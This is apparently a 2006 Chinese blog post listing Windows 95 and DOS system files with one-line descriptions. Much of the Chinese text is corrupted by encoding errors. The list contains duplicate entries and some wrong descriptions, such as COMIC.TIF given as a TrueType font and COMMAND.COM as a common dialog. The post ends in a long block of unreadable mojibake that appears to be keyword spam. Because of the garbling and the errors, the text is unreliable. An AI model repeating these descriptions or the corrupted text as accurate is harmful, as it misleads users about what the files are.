GMThttp://www.shnenglu.com/asp/archive/2006/10/01/13203.htmlhttp://www.shnenglu.com/asp/comments/13203.htmlhttp://www.shnenglu.com/asp/archive/2006/10/01/13203.html#Feedback0http://www.shnenglu.com/asp/comments/commentRss/13203.htmlhttp://www.shnenglu.com/asp/services/trackbacks/13203.html
A ?
ACCESS.CHM - Windows帮助文g
ACCSTAT.EXE - 辅助状态指C器
ADVAPI32.DLL - 高Win32应用E序接口
AHA154X.MPD - SCSI驱动E序
AM1500T.VXT - |卡驱动E序
AM2100.DOS - |卡驱动E序
APPSTART.ANI - 动画光标
APPS.HLP - Windows帮助文g
AUDIOCDC.HLP - "易码~码解码?帮助文g
AWARDPR32.EXE - 增加打印机工?
B ?
BIGMEM.DRV - BIGMEM虚拟讑֤
BILLADD.DLL - 动态链接库(支持MSW)
BIOS.VXD - x即用BIOS接口
BUSLOGIC.MPD - SCSI驱动E序
C ?
CALC.EXE - 计算器应用程?
CANNON800.DRV - 佌打印机驱动程?
CHOICE.COM - MSDOS命o
CHS16.FON - 字体文g(16炚w中文)
CANYON.MID - MIDI文g例子
CARDDRV.EXE - PCMCIA支持E序
CDFS.VXD - CDROM文gpȝ
CDPLAYER.EXE - CD播放器应用程?
CDPLAYER.HLP - CD播放器帮助文?
CHIPS.DRV - 芯片技术显C驱动程?
CHKDSK.EXE - DOS盘查工?
CHOOSUSR.DLL - |络客户
CHOKD.WAV - 声音文g例子
CIS.SCP - 脚本文g(演示如何建立与Compuserve的PPPq接)
CLAIRE~1.RMI - MINI序列
CLIP.INF - 安装信息文g(剪粘板查看器)
CLOSEWIN.AVI - q剪辑(AVI)(如何关闭H口)
CMC.DLL:Mail - API1.0公共信息调用
COMBUFF.VXD - COM端虚拟设?
COMCTL32.DLL - 32位Shelllg
COMDLG32.DLL - 32位公共对话库
COMIC.TIF - TrueType字体文g(Comic Sans Ms)
COMMAND.COM - 公共对话?
COMMDLG.DLL - 16位公共对话库
COMMON.HLP - OLE帮助文g
COMPOBJ.DLL - OLE16/32?作库
CONAGEN.EXE - 32位控制支?
CONFAPI.DLL - Microsoft|络lg
CONFIG.SYS - 配置文g
CONFIG.TXT - 自述文g(配置文g中如何用命?
CONTROL.EXE - "控制面板"应用E序
COOL.DLL - l一资源定位文g
COPY.INF - 安装信息文g
CP-1250.NLS - 自然语言支持文g
CPQNDIS.DOS - |卡驱动E序
CPQNDIS3.VXD - Compaq以太控制器NDIS驱动E序
CR3240.EXE - DOS6.22中文版CR3240打印机驱动程?
CRTDLL.DLL - Microsoft Cq行旉?
CSETUP.EXE - MSDOS6.22中文讄E序
CSETUP.WIN - CSetup.exe支持文g
CSMAPPER.SYS - pȝ文g(支持PCMCIA)
CSPMAN.DLL - 动态链接库(SoundBlaster 16 Driver)
CTRLPAN.EXE - MSDOS命o(pȝ控制台程?
CTRLPAN.EXE - MSDOS6.22中文版控制程?

D ?
DBLBVFF.SYS - 双缓冲驱动程?
DC21X4.SYS - NDIS3驱动E序
DCIMAN.DLL - 昄控制接口
DCIMAN32.DLL - 昄控制接口
DDEML.DLL - DDE信息?
DEBMP.DLL - 光栅昄讑֤
DEBUG.EXE - Debug调试工具
DECPSMW4.INF - 安装信息文g(DEC打印机安?
DECLAN.VXD - DECLAN|卡驱动E序
DEFRAG - 打开"选定驱动?H口
DEL.INF - 安装信息文g
DELTEMP.COM - 初始化帮助工?
DELTREE.EXE - 删除目录工具
DEMET.DLL - 向量昄工程
DESKCP16.DLL - 16位桌面控刉?
DESKTOP.MSN - Microsoft|络lg
DESS.DLL - 表格昄工程
DEWP.DLL - 字处理显C工E?
DIALER.CNT - 对话帮助
DIALER.EXE - 电话拨号E序
DIALER.HLP - 电话拨号帮助文g
DIALMON.EXE - 拨号监视E序(IE2.0)
DIBENG.DLL - 独立讑֤的位同工E?
DICONIX.DRX - 打印机驱?
DIRECTCC.EXE - 直接U缆q接应用E序
DISKCOMP - 盘比较工具
DISKCOPY.COM - 盘拯工具
DISKDRV.INF - 安装信息
DISPLAY.TXT - 昄卡README文g
DMCOLOR.DLL - 通用打印驱动E序彩打支持?
DOSKEY.COM - DOS命o
DOSX.EXE - MSDOS配置E序
DRAGDROP.AVI - q剪辑(AVI)(如何使用拖拽)
DRIVER.SYS - DOS驱动E序
DRVSPACE.EXE - 盘压羃工具
DRVSPACE.HLP - 盘I间理帮助文g

E ?
EDIT.COM - DOS文字~辑E序
EDLIN.EXE - DOS行编辑器
EE16.VXD - 虚拟讑֤驱动E序
EISA.VXD - x即用EISAȝ计数?
EK550C.ICM - 打印机简?
EMM386.EXE - 扩展内存理E序
ENABLE.INF - 初始化信?
ENGCT.EXE - MSN支持文g
ESCP24SC.DRV - 讑֤驱动E序
EUDCEDIT.CNF - 帮助索引文g(造字E序)
EUDCEDIT.EXE - 造字E序
EUDCEDIT.HLP - 帮助文g(造字E序)
EUDCEDIT.INF - 安装信息文g(造字E序)
EVX16.DOS - |卡驱动E序
EWRK3.DOS - |卡驱动E序
EWRK3.SYS - |卡驱动E序
EXCEL.XLS - Excel5.0文g模板
EXCEL4.XLS - Excel4.0文g模板
EXCHANGE.TXT - Inbox和Exchange的自q文?
EXCHNG.CNT - Mail/Exchange帮助文g内容
EXCHNG.HLP - Mail/Exchangelg
EXCHNG32.EXE - 对用L交换Z初始讄
EXPLORER.AVI - q剪辑(AVI)(如何使用资源理?
EXPLORER.EXE - "资源理?应用E序
EXPO.HLP - 帮助文g(产品信息)
EXPOSTRT.EXE - 产品信息应用E序
EXTRACT.EXE - 解压~工?
EXTRA.TXT - 自述文g(联机讉K附加文g)

F ?
FAQ.TXT - 疑难解答自述文g
FAXCODEC.DLL - 传真~码/译码?
FAXCOVER.EXE - 面~辑?
FC.EXE - DOS命o,比较两个文g
FD16-700.MPD - SCSI驱动E序
FD8XX.MPD - SCSI驱动E序
FDISK.EXE - DOS命o,在硬盘上建立、删除及昄当前分区
FILESEC.VXD - 文g存取控制理?
FILEXFER.CNT - 文g传输帮助文g内容
FILEXFER.EXE - Microsoft文g传输
FIND.AVI - q剪辑(如何使用查找)
FIND.EXE - L指定字符串命?
FINDMVI.DLL - 媒体视觉支持
FINSTALL.DLL - 字库安装E序
FINSTALL.HLP - 字库安装帮助文g
FLSIMTD.VXD - PCMCIA支持
FLSIMTD.VXD - PCMCIA支持
FONT16.EXE - DOS6.22中文?6炚w字体驱动E序
FONTS.INF - 字体选择初始化信?
FONTVIEW.EXE - 字体览E序
FORMAT.COM - DOS盘格式化工?
FOUTLINE.EXE - 轮廓字体驱动E序
FRAMEBUF.DRV - SVGA昄器驱动程?
FTE.DLL - 声音览文g传输工程文g
FTP.EXE - 文g传输协议TCP工具
FURELI~1.RMI - MINI序列
G ?
GBK.TXT - 中文Windows95GBK代码集字W定义表
GDI.EXE - 版WIN3.1囑Ş界面
GDI32.DLL - 32位GDI囑Ş界面
GENERAL.IDF - 一般MIDI指示?
GRPCONV.EXE - WindowsE序l{换器
GUIDE.EXE - 应用E序(MSN)

H ?
HARDWARE.TXT - g自述文g
HOSTS.SAM - TCP配置
HPCLRLSK.ICM - 打印?
HPDESK.ICM - 打印机简介表
HPDSKJET.DRV - 打印机驱动程?
HPEISA.VXD - |络适配器驱动程?
HPJAHLP.CNT - JetAdminE序帮助文g
HPJD.DLL - HPJetAdmin支持E序
HPLAN.DOS - |络适配器驱动程?
HPLJ300.DRV - HPLJ300DPI打印机驱动程?
HPLJ300.EXE - MSDOS命o(HP打印机驱?
HPLJ-31.SPD - 打印机驱动程?
HPLJ600.DRV - HPLJ600DPI打印机驱动程?
HPLJP-V4.INF - 打印机安装信?
HPNETPRN.INF - HPJetAdmin支持E序
HPPJXL31.SPD - 打印机驱动程?
HPPLOT.DRV - 打印机驱动程?
HPPLOT.HLP - 打印机驱动程序帮助文?
HPPRARBK.DLL - HPJetAdmin支持E序
HPPRARRK.HLP - HPJetAdmin支持E序帮助文g
HPVCM.HPM - 打印机驱动程?
HSFLOP.PDR - HSFLOP虚拟讑֤
HTICONS.DLL - l端讑֤动态链接库
HYPERTRM.CNT - l端讑֤帮助文g
HYPERTRM.EXE - l端讑֤应用E序
HYPERTRM.HLP - "l端"帮助
HZKBD.EXE - 常用输入ҎE序
HZVIO95.EXE - 昄驱动E序
I ?
I82593.DOS - |络适配器驱动程?
IB401917.SPD - 打印机驱动程?
IBM20470.SPD - 打印机驱动程?
IBM20K.DOS - |络适配器驱动程?
ICM32.DLL - 图象颜色匚wE序
ICMOI.DLL - 用户界面颜色匚wE序
ICONLIB.DLL - 囄?
IEXPLORE.CNT - 帮助索引文g(IE)
IEXPLORE.EXE - InternetExplore
IEXPLORE.HLP - 帮助文g(IE)
IFSHLP.SYS - 文gpȝ安装帮助文g
IFSMGR.VXD - 文gpȝ安装理E序
IMAGEOIT.EXE - 图象~辑器光标程?
IMCLIENT.DLL - Microsoft|络lg
IME.CNT - 帮助索引文g(中文输入?
IME.HLP - Windows帮助文g
IME.INF - 安装信息文g(中文输入?
IMEGEN.CNF - 帮助索引文g(输入法生成器)
IMEGEN.EXE - 输入法生成器
IMEGEN.HLP - 帮助文g(输入法生成器)
IMEINFO.INI - 输入法初始化文g
IMM32.DLL - WIN32IMM应用E序界面
INBOX.EXC - 邮glg
INDICDLL.DLL - 多语alg
INET.TXT - IE自述文g
INET16.DLL - 动态链接库(支持IE2.0)
INETAB32.DLL - 动态链接库(支持Internet mail)
INETCFG.DLL - 动态链接库(支持IE2.0)
INETCPL.CPL - 控制面板文g(配置IE2.0)
INETMAIL.INF - 安装信息文g(Internet mail)
INETWIZ.EXE - Internet安装向导
INformS.WPF - h文g
INSTBE.BAT - Microsoft|络lg
INSTDICT.EXE - MSDOS命o(输入法安装程?
INTB.VXD - 13号中断虚拟设?
INTL.CPL - 控制面板
INT-MAIL.CNT - 帮助索引文g(Internet mail)
IOS.INI - 讄需要安全保护的E序
IOSCLASS.DLL - CDROM安装E序
IRMATR.DOS - |络适配器驱动程?
ISAPNP.VXD - ISAȝx即用E序
 ?
JOY.CPL - 游戏杆控刉?
JOYSTICK.INF - 多媒体安装信?
JP350.DRV - 打印机驱动程?
JUNGLE~1.WAV - 声音文g

K ?
KBDBE.KBD - 比利旉盘格?
KBDBR.KBD - 巴西键盘格式
KBDCA.KBD - 法国、加拿大键盘格式
KBDOS.KBD - 国键盘格式
KDCOLOR1.SPD - 打印机驱动程?
KERNEL32.DLL - 32位内?
KEYB.COM - 控刉盘程序装入内?
KODAKCE.ICM - 柯达ICC配置文g
KRNL386.EXE - Core应用E序

L ?
LABEL.EXE - DOS命o,讄盘名称
LFNBK.EXE - 长文件名备䆾文g
LFNBK.TXT - LFNBK的自q文?
LICENSE.HLP - Windows帮助文g
LMSCRIPT.EXE - LAN理器文E处理程?
LOGIN.EXE - Win95dNetWare文g
LQ1600K.EXE - LQ1600K打印驱动E序

M ?
MAILMSG.DLL - 微Y|络lg
MAILOPT.INF - MAIL/MAPI讄文g
MAPI.DLL - Mail/Exchangelg
MCIAVI.DRV - 多媒体驱动程?
MCICDA.DRV - MCICD声音驱动E序
MCIOLE.DLL - MCIOLE句柄
MCIPIONR.DRV - MCI光盘驱动E序
MCISEQ.DRV - MCI定序器驱动程?
MCIVISCA.DRV - MCIVCR驱动E序
MCIWAVE.DRV - MCI Ware驱动E序
MDMNOKIA.INF - 安装信息文g(modem)
MDMNOVA.INF - 安装信息文g(modem)
MDMVV.INF - 安装信息文g(modem)
MEMMAKER.EXE - 内存理E序
MEMMAKER.INF - 内存理E序讄信息
MFCUIA32.DLL - OLEI公共对话动态链接库
MIDI.INF - x即用MIDI讑֤信息
MINET32.DLL - 支持Internet Mail动态链接库
MKECR5XX.MPD - SCSI驱动E序
ML3XEC16.EXE - 应用E序(MAPI)
MLSHEXT.DLL - 微Y核扩展库
MMCI.DLL - 媒体cd装程?
MMDEVLDR.VXD - x即用讑֤装蝲E序
MMDRV.HLP - 多媒体帮助文?
MMSOUND.DRV - 多媒体驱动程?
MMSYSTEM.DLL - 多媒体系l内?
MMTASK.TSK - 多媒体背景Q务交换器
MODE.COM - DOS命o
MODERN.FON - 字体文g(modem)
MORE.COM - DOS命o
MOUSE.DRV - 鼠标驱动E序
MOVEWIN.AVI - q剪辑(如何UdH口)
MPLAYER.EXE - 媒体播放E序
MPR.DLL - WIN32|络接口动态链接库
MSAB32.DLL - 微Y|络地址?
MSBASE.INF - 讄信息
MSCDEX.EXE - DOS MSCDEX CDROM扩展工具
MSCDROM.INF - cd装设|信?
MSD.EXE - 微Y诊断工具
MSD.INI - 微Y诊断初始?
MSDET.INF - pȝ设|信?
MSDISP.INF - 昄讄信息
MSDLG.EXE - 数据链接控制协议
MSDOS.INF - 讄信息
MSDOSDRV.TXT - 讑֤驱动E序自述文g
MSFT.VRL - l一资源定位文g
MSGSRV32.EXE - Windows32位虚拟设备信息系l?
MSHDC.INF - 盘控制讄信息
MSJSTICK.DRV - x即用游戏杆驱动程?
MSMAIL.INF - Mail/MAPI初始?
MSMOUSE.INF - 鼠标讄信息
MSN.TXT - 微Y|络自述文g
MSNET32.DLL - 微Y32位网lAPI?
MSNEXCH.EXE - 微Y|络讄E序
MSNPSS.HLP - 微Y|络帮助文g
MSNVER.TXT - 微Y|络帮助信息
MSPAINT.EXE - d工具
MSPCIC.DLL - PCMCIAcd装与控制工具
MSPORTS.INF - 公共讄信息
MSPP32.DLL - 微Y|络打印支持E序
MSPWL32.DLL - 口o清单理?
MSSBLST.DRV - 声霸卡驱动程?
MSSBLSI.VXD - 声霸卡驱动程?
MSSHRVI.DLL - ׃n内核扩展E序
MSSNDSYS.DRV - Windows声音pȝ驱动E序
MSSP.VXP - Windows NT安全支持
MSTCP.DLL - TCP用户界面
MSVIEWUT.DLL - 昄讑֤服务数据链接?
MTMMINIP.MPD - SCSI驱动E序
MULLANG.INF - 多种语言字体支持讄信息
MVIWAVE.DRV - 声音驱动E序
N ?
NBTSTAT.EXE - TCP工具
NDDEAPI.DLL - Workgroups DDE׃n接口
NDDENB.DLL - 微Y|络DDE NetBIOS接口
NDISHLP.SYS - 实模式NDIS支持驱动E序
NET.EXE - 实模式网l客戯Y?
NET.INF - |络信?
NET.MSG - |络客户信息
NET3COM.INF - |络讄信息
NETAMD.INF - |络讄信息
NETAPI.DLL - |络应用E序接口动态链接库
NETAPI32.DLL - 32位网lAPI动态链接库
NETAVXT.INF - MS内部传输文g
NETBEUI.VXD - 32位NetBEUI协议
NETBIOS.DLL - NetBIOSAPI?
NETDCA.INF - 安装信息文g
NETDDE.EXE - Windows|络动态数据交?
NETDET.INI - NetWare文?
NETDI.DLL - |络讑֤安装
NETH.MSG - |络客户帮助信息
NETOS.DLL - NOSDLL
NETWATCH.EXE - |络观测E序
NETWORK.TXT - |络信息自述文g
NOTEPAD.EXE - C本应用程?
NODRIVER.INF - x即用讑֤信息
NOTEPAD.EXE - NOTEPAD文g
NSCL.VXD - NSCL虚拟讑֤
NW16.DLL - NetWare客户
NWAB32.DLL - 地址支持动态链接库
NWLSCON.EXE - d文稿控制台程?
NWLSPROC.EXE - NetWared处理?
NWNET32.DLL - NetWare客户
NWNP32.DLL - NetWarelg
NWREDIR.VXD - NetWare重定?
NWSERVER.VXD - NCP服务
NWSP.VXD - NCP服务安全提供

O ?
OEMREVA.INF - 安装信息文g
OLE2.DLL - OLE2.0动态链接库
OLE2.INF - OLE讄信息
OLE32.DLL - 32位OLE2.0lg
OLEAUT32.DLL - OLE2-32自动?
OLECL1.DLL - 对象链接与嵌入客户库
OLEDLG.DLL - Windows OLE2.0用户接口支持
OLESVR.DLL - 对象链接与嵌入服务端?
OLETHK32.DLL - OLE形实替换E序?

P ?
PACKAGER.EXE - 对象包装E序
PARALINK.VXD - q程|络存取q行口驱动程?
PBRVSH.EXE - "d"应用E序
PDOS95.BAT - q入中文DOS状?
PERF.VXD - pȝ性能监视?
PIFMGR.DLL - E序信息文g理服务E序
PING.EXE - TCPPing工具
PMSPL.DLL - LAN理应用E序接口
POWER.DRV - 高甉|理驱动E序
PPPMAC.VXD - Windows虚拟PPP驱动E序
PRINT.EXE - DOS打印文g
PRINTERS.TXT - 打印信息自述文g
PROGMAN.EXE - E序理?
PRTVPD.INF - 打印机升U设|信?

Q ?
QUIKVIEW.EXE - 快速查?
QUIT.EXE - 退Z文DOS状?
R ?
README.TXT - Windows95自述文g
REGEDIT.EXE - 注册~辑?
REGSERV.EXE - q程注册
REGWIE.EXE - 注册工具
REGSERV.INF - q程注册
RESTORE.EXE - DOS命o
RNAAPP.EXE - 拨号|络应用E序
RNASERV.DLL - q程|络存取服务
RNASETUP.DLL - q程|络存取讄动态链接库
RNATHUNK.DLL - q程|络存取转换支持动态链接库
RNAUI.DLL - q程|络存取用户接口DLLRNDSRV32.DLL复制服务E序
ROBOTZCL.WAV - 声音文g
ROBOTZWI.WAV - 声音文g
ROMAN.FON - 字型文g
ROUTE.EXE - TCP/IP ROUTE命o
RPCLTC1.DLL - q程调用?
RPCNS4.DLL - q程调用?
RPCPP.DLL - q程调用打印驱动
RPCRT4.DLL - q程调用?
RPCSS.EXE - q程调用l点映象
RPLBOOT.SYS - q程E序装入
RPLIMAGE.DLL - q程E序装入盘映象?
RSRC16.DLL - 资源计量?
RSRCMTR.EXE - 资源计量?
RSRCMTR.INF - 资源计量?
RUMOR.EXE - DDE试/游戏
RUNDLL.EXE - 把DLL作ؓ应用E序q行
RUNDLL32.EXE - 32位壳lg
S ?
S3.DRV - S3昄驱动
S3.VXD - S3虚拟讑֤
SACLIEN.DLL - Microsoft|络lg
SAMPLEVIDEOS - 图象文g
SAPNSP.DLL - Winsock数据q接?
SAVE32.COM - 安装时所需的TSR文g
SB16.VXD - 16位声卡虚拟设?
SB16SND.DRV - 16位声卡驱?
SBAWE.VXD - AWE声卡虚拟讑֤
SBAWE32.DRV - AWE声卡驱动
SBFM.DRV - 16位声卡驱?
SCANDISK.BAT - MSDOS6.x Scandisk的替代存Ҏ块SCANDISK.BAT盘诊断工具
SCANDISK.INI - 盘诊断工具
SCANDISK.PIF - 安装盘诊断工具时的PIF文g
SCANDSKW.EXE - 盘扫描工具
SCANPROG.EXE - 盘扫描工具
SCRNSAVE.SCR - 屏幕保护
SCSI.INF - SCSI安装文g文g名描q?
SCSIIHLP.VXD - SCSI支持文g
SCSIPORT.PDR - SCSI虚拟讑֤?
SECUR32.DLL - Microsoft Win32安全服务
SECURCL.DLL - Microsoft|络lg
SEIKO24E.DRV - 打印机驱?
SEIKOSH9.DRV - 打印机驱?
SERIAL.VXD - 串口VCOMM驱动?
SERIFE.FON - 字型文g
SERVER.HLP - 服务器帮助文?
SETMDIR.EXE - SBS文g
SETUP.BIN - 安装支持文g
SETUP.BMP - 安装Wash位图文g
SETUP.EXE - Windows95安装E序
SETUP.INF - 安装信息文g
SETUP.TXT - 安装时的README文g
SETUP4.DLL - 安装支持文g
SETUPPP.INF - 安装信息
SETUPX.DLL - 安装支持
SETVER.EXE - MSDOS版本昄,该程序可在网l上执行
SF4029.EXE - 打印机驱?
SHARE.EXE - MSDOS׃n实用E序
SHELL.INF - 安装壳信?
SHELL.VXD - 虚拟壌?
SHELL2.INF - 颜色l合
SHELL3.INF - 颜色l合
SIZE1-1.CUR - 光标
SIZE1-M.CUR - 光标
SIZE4-M.CUR - 光标
SIZENESW.ANI - zd光标
SIZEWE.ANI- zd光标
SKPSFA-1.SPD - 打印机驱?
SLAN.DOS - |络适配器驱?
SLCD32.MPD - SCSI驱动?
SLENH.DLL - 高节能选项
SMALLE.FON - 字型文g
SMALLF.FON - 字型文g
SMARTDRV.EXE - 高速缓存程?
SMARTND.DOS - |络适配器驱动器
SMC3000.DOS - |络适配器驱动器
SMC9000.VXD - |络适配器驱动器
SNAPSHOT.EXE - 抽点
SNAPSHOT.VXD - 抽点虚拟讑֤
SNDREC32.EXE - 录音?
SNIP.VXD - |络适配驱动?
SOCKET.VXD - Windows虚拟Socket|卡驱动器SOCKET.VXD PCMCIA支持
SOL.CNT - U牌游戏
SOL.HLP - U牌游戏帮助文g
SORT.EXE - MSDOS分类实用E序
SOUNDREC.CNT - 录音机帮助文件内?
SOUNDREC.HLP - 录音机帮助文?
SPARROW.WPD - SCSI驱动?
SPARROWX.MPD - SCSI驱动?
SPOOL32.EXE - 打印机支?
SPOOLER.VXD - 打印机共享虚拟设?
SRAMMTD.VXD - PCMCIA支持
SSERIFE.FON - 字型文g
SSERIFF.FON - 字型文g
SSFLYWIN.SCR - 屏幕保护
SSSTARS.SCR - 屏幕保护
STAR24E.DRV - 打印机驱?
STAR9E.DRV - 打印机驱?
START.EXE - 启动E序
STATE.PBK - Microsoft|络lg
STDOLE.TLB - OLE2.0文g
STDOLE32.TLB - OLE2-32文g
STEMO409.DLL - Windows95帮助文g的DLL
STLSO4SS.SPD - 打印机驱动程?
STLS577U.SPD - 打印机驱动程?
STORAGE.DLL - OLE存储器管理库
STRN.DOS - |络适配器驱?
SUBST.EXE - MSDOS Subst实用E序
SUEXPAND.DLL - LZ DLL安装
SUHELPER.BIN - 安装支持
SUPERVGA.DRV - 高VGA昄驱动
SURPORT.TXT - PSS支持信息
SVCPROP.DLL - Microsoft|络lg
SVRAPI.DLL - 32位公用服务器API实用E序
SXCIEXT.DLL - Matrox昄驱动支持文g
SYMBOLE.FON - 字型文g
SYS.COM - MSDOSpȝ实用E序
SYSCLASS.DLL - pȝcd安装
SYSDETMG.DLL - pȝ库
SYSEDIT.EXE - pȝ~辑?
SYSLOGO.RLE - pȝ标识
SYSMON.EXE - pȝ监控E序
SYSMON.HLP - pȝ监控帮助
SYSTEM.DRV - 最Win3.1标准模式
SYSTHUNK.DLL - Windowspȝ形实替换E序?
SYSTRAY.EXE - 高节能理

T ?
T128.MPD - SCSI驱动?
T160.MPD - SCSI驱动?
T20N3.VXD - |络适配驱动?
T30ND.DOS - |络适配驱动?
T338.MPD - SCSI驱动?
TADA.WAV - 声音文g
TAPI.DLL - API通话E序
TAPI.INF - API通话安装信息文g
TAPI32.DLL - 32位Ş实替?
TAPIADDR.DLL - API通话E序
TAPIEXE.EXE - API通话lg
TAPIINI.EXE - API通话lg
TASKMAM.EXE - d理?
TCCARC.DOS - |络适配驱动?
TCTOKCH.VXD - |络适配驱动?
TELEPHON.CPL - 通话帮助
TESTPS.TXT - PostScript试
TEXTCHAT.EXE - Microsoft|络lg
THEMIC-1.WAV - 声音文g
THINKJET.DRV - 打印机驱?
THREED.VBX - Windows95览
T1850.DRV - 打印机驱?
TIMEDATE.CPL - 旉/日期控制面板
TIMES.TTF - 旉字型
TIMESBD.TTF - 旉_体字型
TIMESBI.TTF - 旉_斜体字?
TIMESI.TTF - 旉斜体字型
TIMEZONE.INF - 安装信息
TIMLP232.SPD - 打印机驱?
TIPS.txt - 提示和技巧自q文?
TKPHZR32.SPD - 打印机驱?
TLNK.DOS - |络适配驱动?
TLNK3.VXD - |络适配驱动?
TMV1.MPD - SCSI驱动?
TOOLHELP.DLL - 16位开发工具帮助器
TOSHIBA.DRV - 打印机驱?
TOUR.EXE - 览文g
TPHAIII.ICM - 打印机简?
TRACERT.EXE - TCP/IP IRACEROUTE命o
TREE.COM - MS DOS树实用程?
TREEEDCL.DLL - Microsoft|络lg
TREENVCL.DLL - Microsoft|络lg
TRIUMPHI.SPD - 打印机驱?
TSD32.DLL - 声音压羃理?
TSENG.DRV - ET4000W32昄驱动
TTY.DRV - 打印机驱?
TTY.HLP - TTY打印机驱动帮?
TYPELIB.DLL - OLE2.0

U ?
U9415470.SPD - 打印机驱?
UBNEI.DOS - |络适配器驱?
ULTRA124.MPD - SCSI驱动?
ULTRA24F.MPD - SCSI驱动?
UMDM16.DLL - 通用调制解调器驱动组?
UMDM32.DLL - 通用调制解调器驱动组?
UNIDRV.DLL - Microsoft通用打印机驱动库
UNIDRV.HLP - 通用打印机驱动帮?
UNIMODEM.VXD - 通用调制解调器驱?
USER32.DLL - 32位用?

V ?
V86MMGR.VXD - V86MMGR虚拟讑֤
VCACHE.VXD - VCache虚拟讑֤
VCD.VXD - 虚拟COM驱动E序
VCOMM.VXD - VCOMM驱动E序
VCOND.VXD - Win32控制?
VDMAD.VXD - VDMAD虚拟讑֤
VER.DLL - 型Win3.1安装E序16位版动态链接库
VER.NEW - 版本与文g安装?
VERSION.DLL - 32位版本动态链接库
VERX.DLL - 安装E序使用的版本动态库
VFAT.VXD - VFAT文gpȝ
VFD.VXD - 软盘虚拟讑֤
VFLATD.VXD - 虚拟qx帧缓存虚拟设?
VGA.DRV - VGA昄驱动E序
VIDCAP.INF - x即用VCD信息
VIDEOT.VXD - 视频虚拟讑֤
VIP.386 - TCP/IP虚拟IP讑֤
VJOYD.VXD - 游戏虚拟设?
VKD.VXD - 虚拟键盘讑֤
VLB32.DLL - Mail/Exchangelg
VMD.VXD - Win3.1虚拟鼠标驱动E序
VMM.VXD - 虚拟存储理讑֤
VMM32.VXD - 虚拟存储理讑֤
VMOUSE.VXD - 虚拟鼠标驱动E序
VNBT.386 - NetBIOS传输驱动E序
VNETBIOS.VXD - VNETBIOS虚拟讑֤
VNETSUP.VXD - |络支持虚拟讑֤
VPD.VXD - 虚拟LPT驱动E序
VPICD.VXD - 虚拟可编E干扰控制器讑֤
VPOWERD.VXD - 高甉|理虚拟讑֤
VREDIR.VXD - Microsoft|络32位客LE序
VSAMI.DLL - AMI文g语法分析E序
VSASC8.DLL - ASCII文g语法分析E序
VSBMP.DLL - BMP文g语法分析E序
VSERVER.VXD - Microsoft|络32位服务器端程?
VSGIF.DLL - GIF文g语法分析E序
VSHARE.VXD - 32位共享虚拟设备驱动程?
VSMSW.DLL - Win写文件语法分?
VSPP.DLL - PowerPoint语法分析E序
VSRTF.DLL - RTF文g语法分析E序
VSTIFF.DLL - TIFF文g语法分析E序
VSW6.DLL - Word6文g语法分析E序
VSWORD.DLL - Word文g语法分析E序
VSWP5.DLL - WordPerfect5文g语法分析E序
VSXL5.DLL - Excel文g/图表语法分析E序
VTCP.386 - TCP/IP虚拟TCP驱动E序
VTDAPI.VXD - VTDAPI虚拟讑֤
VTDI.386 - 传输驱动接口支持E序
VXDLDR.VXD - 虚拟讑֤驱动E序装蝲?

W ?
WAVE.INF - x即用xL讑֤信息
WDTOOOEX.MPD - SCSI驱动
WGPOADMN.DLL - Mail/Exchangelg
WHLP16T.DLL - 帮助动态链接库
WIN87EM.DLL - 80387数学仿真?
WINABC.HLP - ABC帮助文g
WINBX.HLP - 表Ş码输入法帮助文g
WINCHA.HLP - J体仓颉输入法帮助文?
WINDOWS.CNT - Windows95帮助文g内容
WINDOWS.HLP - Windows95帮助文g
WINFILE.CNT - 文g理器帮助文件内?
WINFILE.EXE - Windows工作l文件管理器
WINFILE.HLP - 文g理器帮助文?
WINGB.HLP - Z码输入法帮助文g
WINHLP23.HLP - Windows帮助文g
WINIME.HLP - *作指南帮助文?
WINNM.HLP - GBK内码输入法帮助文?
WININIT.EXE - Windows初始化文?
WINIPCFG.EXE - TCP/IP配置工具
WINNEWS.TXT - Winnews信息
WINPHO.HLP - J体注音输入法帮助文?
WINPOPUP.EXE - POPUP工具
WINREG.DLL - q程注册支持
WINPY.HLP - 全拼输入法帮助文?
WINSOCK.DLL - Windows的套接API
WINSY.HLP - 双拼输入法帮助文?
WINXSP.HLP - GBK双拼输入法帮助文?
WINXZM.HLP - GBK郑码输入法帮?
WINZM.HLP - 郑码输入法帮助文?
WNASPI32.DLL - Windows DLL32位ASPI
WPSUNI.DRV - 传真驱动E序
WPSUNIRE.DLL - WPSL资源执行E序

X ?
XCOPY.EXE - DOS XCOPY工具
XCOPY32.EXE - 文g拯E序
XGA.DRV - XGA昄驱动E序

Asp 2006-10-01 18:25 发表评论
]]>
˳˳ۺþþ| ھƷþþþþþþ| ŷһþþ| þùAV䡪ٶ| þҹ³Ƭ| ҹƷþþþþapp| þþֻоƷձ| Ʒþˬ| þþƷ| պþþþƷӰԺҳ| ˾þۺӰԺ| ޾ƷþþþĻ69 | þþþþaŷa| þ99һ| þþþþùƷŮ| þþƷоƷ| þù޾Ʒ| ϼþùƷӰԺ| ˼˼þþƷ| 99þó˹Ʒ| þɫһ| þþƷAVũ帾Ů| ĻhdþþƷ| ҹƷþþþþþ| þþƷһպAV| ҹҹݺݾþAV| þùƷƷ| þһҹ| 99þþùƷţ| ŷۺϾþþ| þþþ޾Ʒ˵| Ʒþþþþþ| ھƷþù| þþþ| þþþѾƷ| þˬˬ| һۺϾþù| þþþþAŷAV| þþþþþ99Ʒѹۿ| þþƷaĻؿ| 㽶99þùۺϾƷլ |